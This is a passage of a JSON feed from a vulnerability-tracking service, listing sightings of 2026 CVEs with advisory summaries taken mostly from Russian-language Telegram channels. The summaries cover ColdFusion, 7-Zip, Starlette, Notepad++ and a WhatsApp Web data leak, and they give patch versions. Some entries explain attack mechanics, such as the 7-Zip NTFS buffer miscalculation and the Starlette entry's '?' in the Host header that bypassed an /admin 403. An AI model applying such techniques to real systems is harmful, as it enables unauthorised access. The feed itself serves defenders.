(2026)](https://cyberupdates365.com/samsung-galaxy-s25-zero-day-vulnerability/)**\n* **[Sharepoint Cve 2026 45659 Rce Vulnerability Guide (2026)](https://cyberupdates365.com/sharepoint-cve-2026-45659-rce-vulnerability/)**\n* **[Simplehelp Cve 2026 48558 Rmm Vulnerability Guide (2026)](https://cyberupdates365.com/simplehelp-cve-2026-48558-rmm-vulnerability/)**\n* **[Splunk Enterprise Critical Vulnerability Cve 2026 20253 Guide (2026)](https://cyberupdates365.com/splunk-enterprise-critical-vulnerability-cve-2026-20253/)**\n* **[Windows 11 Recall Vulnerability Totalrecall Reloaded Guide (2026)](https://cyberupdates365.com/windows-11-recall-vulnerability-totalrecall-reloaded/)**\n* **[Wordpress Arbitrary Installation Vulnerabilities Exploited Guide (2026)](https://cyberupdates365.com/wordpress-arbitrary-installation-vulnerabilities-exploited/)**\n* **[Wp2shell Wordpress Vulnerability Fix Guide Guide (2026)](https://cyberupdates365.com/wp2shell-wordpress-vulnerability-fix-guide/)**\n* **[Wsus Rce Vulnerability United States Cve 2025 59287 Critical Security Alert Guide (2026)](https://cyberupdates365.com/wsus-rce-vulnerability-united-states-cve-2025-59287-critical-security-alert/)**\n", "creation_timestamp": "2026-07-25T08:57:56.590310Z"}, {"uuid": "4c329b99-5602-4524-8557-b053d4e783c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48021", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116980484212804462", "content": "Some increased actor activities are shown targeting med-united epa4all (CVE-2026-48021) https://vuldb.com/vuln/383004/cti", "creation_timestamp": "2026-07-25T11:55:33.525014Z"}, {"uuid": "4db4313c-9790-47b1-8be8-5ddcffed1b29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://t.me/GithubRedTeam/95107", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48908-Joomla-SP-Page-Builder-RCE\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a imXur\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-25 12:57:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nTechnical analysis and advisory for CVE-2026-48908: Unauthenticated Arbitrary File Upload to RCE in JoomShaper SP Page Builder.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-25T14:00:41.629200Z"}, {"uuid": "75898ece-2ca0-4352-b834-8025a665ac0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "seen", "source": "https://t.me/ZerodayAlert/779", "content": "\u041d\u0430\u0439\u0434\u0435\u043d \u0441\u043f\u043e\u0441\u043e\u0431 \u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0443 \u0432 WhatsApp Web \u0447\u0435\u0440\u0435\u0437 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 Chrome\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0438 Adobe Acrobat \u0434\u043b\u044f Chrome \u0438 \u043f\u0440\u0438\u0441\u0432\u043e\u0438\u043b\u0438 \u0435\u0439 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 HermeticReader. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48294 (7.4 High) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u043f\u043e\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0435\u043c\u0443 \u0447\u0438\u0442\u0430\u0442\u044c \u0447\u0443\u0436\u0443\u044e \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0443 \u0432 WhatsApp Web \u0431\u0435\u0437 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u0438 \u043a\u0440\u0430\u0436\u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u0439.\n\n\u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0431\u044b\u043b\u043e \u0437\u0430\u0439\u0442\u0438 \u043d\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443, \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u043e\u0434 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u043e\u0438\u0441\u043a\u0430 \u0438\u043b\u0438 \u0441\u0441\u044b\u043b\u043a\u0443 \u0438\u0437 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438. \u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b\u043e WhatsApp Web \u0432 \u0444\u043e\u043d\u043e\u0432\u043e\u0439 \u0432\u043a\u043b\u0430\u0434\u043a\u0435 \u0438 \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u043b\u043e \u0432 \u043d\u0435\u0451 \u0441\u043a\u0440\u044b\u0442\u0443\u044e \u0444\u043e\u0440\u043c\u0443, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0432\u0448\u0443\u044e \u0432\u0435\u0441\u044c \u0432\u0438\u0434\u0438\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b.\n\n\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u043e\u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0439 \u043c\u043e\u0433 \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0441\u043f\u0438\u0441\u043e\u043a \u0447\u0430\u0442\u043e\u0432, \u0438\u043c\u0435\u043d\u0430 \u043a\u043e\u043d\u0442\u0430\u043a\u0442\u043e\u0432, \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u043f\u0440\u0435\u0432\u044c\u044e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439, \u0438\u043c\u044f \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0436\u0435\u0440\u0442\u0432\u044b \u0438 \u0442\u0435\u043a\u0441\u0442 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043d\u0430 \u044d\u043a\u0440\u0430\u043d\u0435 \u0434\u0438\u0430\u043b\u043e\u0433\u0430. \u0414\u043b\u044f \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u043b\u0438\u0448\u044c \u043e\u0434\u043d\u043e\u043a\u0440\u0430\u0442\u043d\u043e\u0435 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435\u0439, \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439.\n\n#adobe #whatsapp #\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:05.236840Z"}, {"uuid": "70f21b23-8d28-4c27-9f36-4dd42f42de12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://t.me/ZerodayAlert/752", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 Adobe ColdFusion\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48282 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H \u2014 10.0 Critical) \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 ColdFusion 2025 \u0441 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c 9 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 ColdFusion 2023 \u0441 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c 20 \u0438 \u043d\u0438\u0436\u0435. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u0431\u0435\u0437 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438, \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0430 \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434.\n\nAdobe \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f 30 \u0438\u044e\u043d\u044f \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435 \u043a\u0440\u0443\u043f\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u043a\u0440\u044b\u0432 \u0441\u0440\u0430\u0437\u0443 11 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0448\u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 10 \u0431\u0430\u043b\u043b\u043e\u0432. \u0423\u0436\u0435 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b KEVIntel \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Shadowserver, \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438 \u043e\u043a\u043e\u043b\u043e 800 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Adobe ColdFusion. \u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b Adobe \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 10 \u0434\u043b\u044f ColdFusion 2025 \u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 21 \u0434\u043b\u044f ColdFusion 2023.\n\n#adobe #coldfusion #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:05.984269Z"}, {"uuid": "648102d5-ed11-4bf5-a516-634635fdfa73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://t.me/ZerodayAlert/716", "content": "7-Zip 26.00 \u0438 \u0441\u0442\u0430\u0440\u0448\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043a \u0437\u0430\u043f\u0443\u0441\u043a\u0443 \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 NTFS-\u043e\u0431\u0440\u0430\u0437\n\nGitHub Security Lab \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u0432 7-Zip \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48095, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0443\u044e \u0441 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 NTFS-\u043e\u0431\u0440\u0430\u0437\u043e\u0432. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u0432 7-Zip 26.00, \u043d\u043e \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 \u0441\u0436\u0430\u0442\u044b\u0445 \u043f\u043e\u0442\u043e\u043a\u043e\u0432 NTFS. \u0414\u043b\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043e\u0442\u043a\u0440\u044b\u043b, \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u0438\u043b\u0438 \u043d\u0430\u0447\u0430\u043b \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u0444\u0430\u0439\u043b \u0438\u0437 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0437\u0430.\n\n\u041a\u043e\u0440\u0435\u043d\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 NTFS. \u0421\u0442\u0430\u0440\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 7-Zip \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0442 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043a\u0440\u0443\u043f\u043d\u044b\u0439 \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430 \u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 CompressionUnit, \u0430 \u0437\u0430\u0442\u0435\u043c \u043e\u0448\u0438\u0431\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u0438 \u0440\u0430\u0441\u0447\u0435\u0442\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0434\u043b\u044f \u0441\u0436\u0430\u0442\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u0418\u0437-\u0437\u0430 \u0441\u0431\u043e\u044f \u0432 32-\u0431\u0438\u0442\u043d\u043e\u0439 \u0430\u0440\u0438\u0444\u043c\u0435\u0442\u0438\u043a\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0434\u0435\u043b\u0438\u0442\u044c \u0432\u0441\u0435\u0433\u043e 1 \u0431\u0430\u0439\u0442, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0442\u0443\u0434\u0430 \u0434\u043e 256 \u041c\u0411 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c\u0438. \u0422\u0430\u043a\u0430\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044c \u043f\u0430\u043c\u044f\u0442\u0438 \u0431\u044c\u0435\u0442 \u043f\u043e \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c \u0432 \u043a\u0443\u0447\u0435 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u043f\u0430\u0434\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435: \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 7-Zip \u0434\u043e 26.01 \u0438\u043b\u0438 \u043d\u043e\u0432\u0435\u0435. \u041d\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0439\u0442\u0435 \u043e\u0431\u0440\u0430\u0437\u044b \u0434\u0438\u0441\u043a\u043e\u0432 \u0438 \u0430\u0440\u0445\u0438\u0432\u044b \u0438\u0437 \u0441\u043e\u043c\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u041d\u0435 \u0434\u043e\u0432\u0435\u0440\u044f\u0439\u0442\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044e \u0444\u0430\u0439\u043b\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 7-Zip \u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0442\u044c NTFS \u043f\u043e \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0435 \u0434\u0430\u0436\u0435 \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c .zip, .rar, .7z \u0438\u043b\u0438 \u0444\u0430\u0439\u043b\u0430 \u0431\u0435\u0437 \u043e\u043a\u043e\u043d\u0447\u0430\u043d\u0438\u044f.", "creation_timestamp": "2026-07-25T15:00:06.881227Z"}, {"uuid": "3622a192-b4dc-4936-bc20-856933af45a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "seen", "source": "https://t.me/ZerodayAlert/718", "content": "\u041e\u0448\u0438\u0431\u043a\u0438 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 Starlette \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u043b\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u043d\u0430 \u0431\u0430\u0437\u0435 FastAPI\n\nStarlette \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0430\u0434\u0440\u0435\u0441 \u0437\u0430\u043f\u0440\u043e\u0441\u0430: \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 URL \u0438\u0437 \u043f\u0443\u0442\u0438 \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 Host, \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u044c \u0435\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f. \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0432 Host \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0443\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.\n\n\u041c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 HTTP-\u043f\u0443\u0442\u044c, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a \u0447\u0430\u0441\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0445 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u0432 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0430 request.url.path, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0438\u0437 \u0443\u0436\u0435 \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u043e\u0433\u043e URL. \u041d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u044d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u0437\u0430\u0449\u0438\u0442\u0443 \u043f\u0430\u043d\u0435\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430: \u0437\u0430\u043f\u0440\u043e\u0441 \u043a /admin \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u043b 403, \u043d\u043e \u0441\u0438\u043c\u0432\u043e\u043b \u00ab?\u00bb \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 Host \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u043b \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u043c\u0443 \u0440\u0430\u0437\u0434\u0435\u043b\u0443.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48710 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 6.5 Medium \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 0.8.3\u20131.0.0 \u0438 \u0432\u0441\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 ASGI-\u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 request.url.path. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u044b\u0448\u043b\u043e \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 1.0.1, \u0430 \u0434\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c request.scope[\"path\"] \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a Host \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043a\u0441\u0438.\n\n#starlette #fastapi #python #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:06.611776Z"}, {"uuid": "8daf1cd3-90b8-4160-a0b6-87b6533bb25d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48770", "type": "seen", "source": "https://t.me/ZerodayAlert/720", "content": "Notepad++ \u0437\u0430\u043a\u0440\u044b\u043b \u0442\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0434\u0432\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0447\u0443\u0436\u043e\u0439 \u043a\u043e\u0434\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 Notepad++ 8.9.6.1 \u0438 \u0437\u0430\u043a\u0440\u044b\u043b\u0438 CVE-2026-48770, CVE-2026-48778 \u0438 CVE-2026-48800. \u0421\u0430\u043c\u044b\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0431\u0440\u0435\u0448\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0446\u0435\u043d\u043a\u0443 7,8 \u043f\u043e CVSS \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0441 config.xml \u0438 shortcuts.xml. \u0414\u043b\u044f \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043c\u0430\u0441\u0441\u043e\u0432\u043e \u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432 Windows-\u0441\u0440\u0435\u0434\u0430\u0445, \u0440\u0438\u0441\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 